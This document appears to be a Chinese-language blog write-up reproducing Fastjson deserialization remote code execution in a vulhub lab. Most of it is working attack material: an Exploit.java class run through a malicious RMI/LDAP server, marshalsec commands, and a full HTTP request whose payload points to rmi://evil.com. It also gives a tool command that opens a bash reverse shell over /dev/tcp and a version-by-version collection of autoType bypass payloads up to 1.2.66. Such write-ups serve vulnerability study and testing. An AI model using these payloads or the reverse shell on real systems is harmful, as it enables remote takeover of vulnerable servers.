fastjson漏洞复现


一、参考链接

https://zeo.cool/2020/07/04/红队武器库!fastjson小于1.2.68全漏洞RCE利用exp/

二、漏洞介绍

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

三、漏洞影响范围

Fastjson < 1.2.68
Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有

四、漏洞复现

以Fastjson1.2.24为例子,因为vulhub有现成的环境十分方便。

五、流程示意图


主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)
在整个远程命令执行流程
1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行

六、复现流程

根据上图流程和环境复现:
主机A: http://192.168.133.138:8090 (存在Fastjson漏洞主机)
主机B: http://192.168.133.133:8888 (恶意java类服务)
主机C: rmi://192.168.133.133:9999 (远程方法调用服务)
实际上主机B和C是一台机器不同端口)

1、构造恶意方法

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码
使用如下payload:
其中touch /tmp/success为系统命令,可以根据自己需求随意修改
注意该文件名叫Exploit.java固定格式不能变

import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在主机B中使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

javac Exploit.java

然后在主机B启一个http服务,中间件随意,但是需要能访问到Exploit.class文件,这里使用python3临时启动一个

python3 -m http.server --bind 0.0.0.0 8888

2、开启远程方法调用rmi服务

接下来在主机C开启rmi服务
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.133.133:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.133.133:8888/#Exploit" 9999

3、发送payload

POST / HTTP/1.1
Host: 192.168.133.138:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

可见,命令touch /tmp/success已成功执行:

七、简化版工具

https://github.com/wyzxxz/fastjson_rce_tool

1、第一步:在自己服务器上启动

java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1"

2、第二步:发送payload

八、漏洞检测

1、未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如

2、无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

九、多版本payload集合

1、fastjson<=1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

2、fastjson<=1.2.41

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

3、fastjson<=1.2.42

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

4、fastjson<=1.2.43

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

5、fastjson<=1.2.45

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

6、fastjson<=1.2.47

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

7、fastjson<=1.2.62

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

8、fastjson<=1.2.66

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}